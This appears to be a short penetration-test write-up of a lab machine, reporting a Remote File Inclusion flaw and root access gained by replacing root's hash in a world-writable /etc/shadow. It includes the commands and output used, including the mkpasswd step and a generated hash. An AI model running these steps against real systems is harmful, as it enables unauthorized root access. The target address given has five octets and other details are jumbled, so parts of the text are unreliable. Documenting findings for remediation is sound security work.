A penetration test was conducted on the target machine 10.115.0.150.18 (hostname: snare.ptd). The assessment revealed critical vulnerabilities, including Remote File Inclusion (RFI) leading to initial access and misconfigured file permissions on /etc/shadow, allowing privilege escalation to root.
Key Findings:
Remote File Inclusion (RFI) in index.php leading to code execution.
Privilege Escalation (Root via /etc/shadow Modification)
Manual enumaration find that, /etc/shadow can be edit by global user. With the persmission, we can change root hash with crafted one. I will use mkpasswd with password smallcurl.
Discovery:
/etc/shadow had world-writable permissions:
ls -la /etc/shadow
-rwxrwxrwx 1 root shadow 1129 Nov 20 2020 /etc/shadow
Exploitation:
Generated a new root password hash (smallcurl):
mkpasswd -m sha-512 smallcurl
Replaced root’s hash in /etc/shadow.
Logged in as root via SSH or change user (su)
ssh root@10.115.0.150.1
www-data@snare:/tmp$ ls -la /etc/shadow
ls -la /etc/shadow
-rwxrwxrwx 1 root shadow 1129 Nov 20 2020 /etc/shadow
## Attacker Machine
mkpasswd -m sha-512 smallcurl
$6$ltYEddtO8FzflSsa$UvLAmFfRm6oH7GUEMcK2Vxi2kLWb1yhOETJgA1Iu22hmbBSCkkK87NmHYj1tUmaSQqdcG7JZsIslKmiC13gU60
Findings & Vulnerabilities
1. Remote File Inclusion (RFI)
Risk: Critical
Description:
The page parameter in index.php allows arbitrary file inclusion, leading to remote code execution (RCE).
Audit system-critical files for incorrect permissions.
Conclusion
The target machine was fully compromised due to Remote File Inclusion (RFI) and misconfigured /etc/shadow permissions. Immediate remediation is required to prevent unauthorized root access.
Next Steps:
Patch the RFI vulnerability.
Correct /etc/shadow permissions.
Conduct a full system audit for similar misconfigurations.
